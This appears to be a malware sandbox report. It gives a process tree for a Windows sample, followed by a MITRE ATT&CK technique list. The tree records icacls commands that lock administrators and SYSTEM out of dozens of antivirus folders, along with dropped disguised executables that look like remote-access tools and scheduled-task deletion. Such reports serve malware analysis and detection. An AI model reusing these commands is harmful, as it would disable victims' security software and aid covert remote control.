                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:2244
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                            2⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:2676
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:2068
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
                                                                            2⤵
                                                                              PID:612
                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                icacls c:\programdata\Malwarebytes /deny Admin:(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:2124
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                              2⤵
                                                                                PID:2768
                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                  icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                  3⤵
                                                                                  • Modifies file permissions
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:1296
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
                                                                                2⤵
                                                                                  PID:2704
                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                    icacls C:\Programdata\MB3Install /deny Admin:(F)
                                                                                    3⤵
                                                                                    • Modifies file permissions
                                                                                    PID:2444
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                  2⤵
                                                                                    PID:2612
                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                      icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                      3⤵
                                                                                      • Modifies file permissions
                                                                                      PID:2552
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
                                                                                    2⤵
                                                                                      PID:2344
                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                        icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2464
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                      2⤵
                                                                                        PID:2052
                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                          icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                          3⤵
                                                                                          • Modifies file permissions
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:2200
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
                                                                                        2⤵
                                                                                          PID:2292
                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                            icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
                                                                                            3⤵
                                                                                            • Modifies file permissions
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:1664
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
                                                                                          2⤵
                                                                                            PID:1396
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              PID:2312
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
                                                                                            2⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:2420
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:2772
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                            2⤵
                                                                                              PID:2224
                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                PID:2232
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
                                                                                              2⤵
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:1060
                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                PID:2736
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
                                                                                              2⤵
                                                                                                PID:3040
                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                  icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  PID:2688
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                2⤵
                                                                                                  PID:2472
                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                    icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                    3⤵
                                                                                                    • Modifies file permissions
                                                                                                    PID:2216
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
                                                                                                  2⤵
                                                                                                    PID:2236
                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                      icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
                                                                                                      3⤵
                                                                                                      • Modifies file permissions
                                                                                                      PID:1172
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
                                                                                                    2⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:2580
                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                      icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
                                                                                                      3⤵
                                                                                                      • Modifies file permissions
                                                                                                      PID:2144
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
                                                                                                    2⤵
                                                                                                      PID:3128
                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                        icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
                                                                                                        3⤵
                                                                                                        • Modifies file permissions
                                                                                                        PID:3152
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                      2⤵
                                                                                                        PID:3184
                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                          icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          PID:3208
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                          PID:3268
                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                            icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            PID:3292
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                          2⤵
                                                                                                            PID:3304
                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                              icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:3328
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                              PID:3340
                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                3⤵
                                                                                                                • Modifies file permissions
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3364
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                              2⤵
                                                                                                                PID:3376
                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                  icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                  3⤵
                                                                                                                  • Modifies file permissions
                                                                                                                  PID:3400
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                2⤵
                                                                                                                  PID:3412
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:3636
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                    PID:3460
                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                      icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
                                                                                                                      3⤵
                                                                                                                      • Modifies file permissions
                                                                                                                      PID:3628
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                    2⤵
                                                                                                                      PID:3492
                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                        icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                        3⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        PID:3612
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                      2⤵
                                                                                                                        PID:3564
                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                          icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                          3⤵
                                                                                                                          • Modifies file permissions
                                                                                                                          PID:3700
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)
                                                                                                                        2⤵
                                                                                                                          PID:3672
                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                            icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
                                                                                                                            3⤵
                                                                                                                            • Modifies file permissions
                                                                                                                            PID:3764
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                          2⤵
                                                                                                                            PID:3688
                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                              icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              PID:3788
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                            2⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:3772
                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                              icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              PID:3860
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                            2⤵
                                                                                                                              PID:3828
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:3900
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:3924
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:3948
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                                PID:3956
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  PID:3984
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:3996
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  PID:4020
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                  PID:4032
                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                    icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    PID:4056
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:3112
                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                    icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    PID:3168
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                    PID:2992
                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                      icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                      3⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      PID:3100
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                    2⤵
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:2240
                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                      icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                      3⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      PID:1924
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                    2⤵
                                                                                                                                      PID:3212
                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                        icacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:2020
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:2616
                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                        icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:3272
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)
                                                                                                                                      2⤵
                                                                                                                                        PID:2856
                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                          icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:1584
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                        2⤵
                                                                                                                                          PID:1000
                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                            icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:2444
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:3052
                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                            icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:2380
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:1700
                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                            icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:2620
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                            PID:1940
                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                              icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                              3⤵
                                                                                                                                              • Modifies file permissions
                                                                                                                                              PID:2468
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)
                                                                                                                                            2⤵
                                                                                                                                              PID:1636
                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                icacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)
                                                                                                                                                3⤵
                                                                                                                                                • Modifies file permissions
                                                                                                                                                PID:2788
                                                                                                                                            • C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                              C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:2496
                                                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe "3976145331728671902-174688551536073434814202516931240646231-892020921821042525"
                                                                                                                                            1⤵
                                                                                                                                              PID:1296
                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe "20706346722009673598-331604971736261309-20127308041845305276-1595931810-1688091608"
                                                                                                                                              1⤵
                                                                                                                                                PID:2420
                                                                                                                                              • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                1⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:572
                                                                                                                                                • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                  C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                  2⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:2128
                                                                                                                                                • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                  C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                  2⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                  PID:1148
                                                                                                                                                  • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                    C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Suspicious behavior: SetClipboardViewer
                                                                                                                                                    PID:3428
                                                                                                                                              • C:\Windows\system32\conhost.exe
                                                                                                                                                \??\C:\Windows\system32\conhost.exe "1628859639-841421877-63392-10296781621341407337-5216592171120415597478714597"
                                                                                                                                                1⤵
                                                                                                                                                  PID:2180
                                                                                                                                                • C:\Windows\system32\conhost.exe
                                                                                                                                                  \??\C:\Windows\system32\conhost.exe "1721919222-1132095234171561609-2064900051-22408660-353559692-20287129821117110101"
                                                                                                                                                  1⤵
                                                                                                                                                    PID:3364
                                                                                                                                                  • C:\Windows\system32\conhost.exe
                                                                                                                                                    \??\C:\Windows\system32\conhost.exe "-1278697700-4423872902051946847-137579726315834864220032281051318543553-514973016"
                                                                                                                                                    1⤵
                                                                                                                                                      PID:1664
                                                                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                                                                      \??\C:\Windows\system32\conhost.exe "1171467092-920624700610123928-19241281251332266080-1284660548502323537573288803"
                                                                                                                                                      1⤵
                                                                                                                                                        PID:2144
                                                                                                                                                      • C:\Windows\system32\taskeng.exe
                                                                                                                                                        taskeng.exe {095D17C6-33F9-45BA-A9C1-B42D664FF13F} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:Interactive:[1]
                                                                                                                                                        1⤵
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        PID:3372
                                                                                                                                                        • C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                                          C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                                          2⤵
                                                                                                                                                          • Modifies visiblity of hidden/system files in Explorer
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                          PID:3332
                                                                                                                                                          • C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                                            C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                                            3⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            PID:672
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                                                                                                                                                              4⤵
                                                                                                                                                                PID:2780
                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                  schtasks /query /fo list
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:1792
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /C schtasks /Delete /TN "OfficeSoftwareProtectionPlatform\SvcRestartTask" /F
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Indicator Removal: Clear Persistence
                                                                                                                                                                  PID:2064
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /Delete /TN "OfficeSoftwareProtectionPlatform\SvcRestartTask" /F
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:1684
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:2552
                                                                                                                                                                    • C:\Windows\system32\ipconfig.exe
                                                                                                                                                                      ipconfig /flushdns
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Gathers network information
                                                                                                                                                                      PID:1972
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c gpupdate /force
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1448
                                                                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                        gpupdate /force
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:2840

                                                                                                                                                                  Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                  Reconnaissance

                                                                                                                                                                  Resource Development

                                                                                                                                                                  Initial Access

                                                                                                                                                                  Execution

                                                                                                                                                                  Command and Scripting Interpreter

                                                                                                                                                                  1
                                                                                                                                                                  T1059

                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                  1
                                                                                                                                                                  T1053

                                                                                                                                                                  Scheduled Task

                                                                                                                                                                  1
                                                                                                                                                                  T1053.005

                                                                                                                                                                  System Services

                                                                                                                                                                  1
                                                                                                                                                                  T1569

                                                                                                                                                                  Service Execution

                                                                                                                                                                  1
                                                                                                                                                                  T1569.002

                                                                                                                                                                  Persistence

                                                                                                                                                                  Account Manipulation

                                                                                                                                                                  1
                                                                                                                                                                  T1098

                                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                                  2
                                                                                                                                                                  T1547

                                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                                  1
                                                                                                                                                                  T1547.001

                                                                                                                                                                  Winlogon Helper DLL

                                                                                                                                                                  1
                                                                                                                                                                  T1547.004

                                                                                                                                                                  Create or Modify System Process

                                                                                                                                                                  3
                                                                                                                                                                  T1543

                                                                                                                                                                  Windows Service

                                                                                                                                                                  3
                                                                                                                                                                  T1543.003

                                                                                                                                                                  Event Triggered Execution

                                                                                                                                                                  1
                                                                                                                                                                  T1546

                                                                                                                                                                  Netsh Helper DLL

                                                                                                                                                                  1
                                                                                                                                                                  T1546.007

                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                  1
                                                                                                                                                                  T1053

                                                                                                                                                                  Scheduled Task

                                                                                                                                                                  1
                                                                                                                                                                  T1053.005

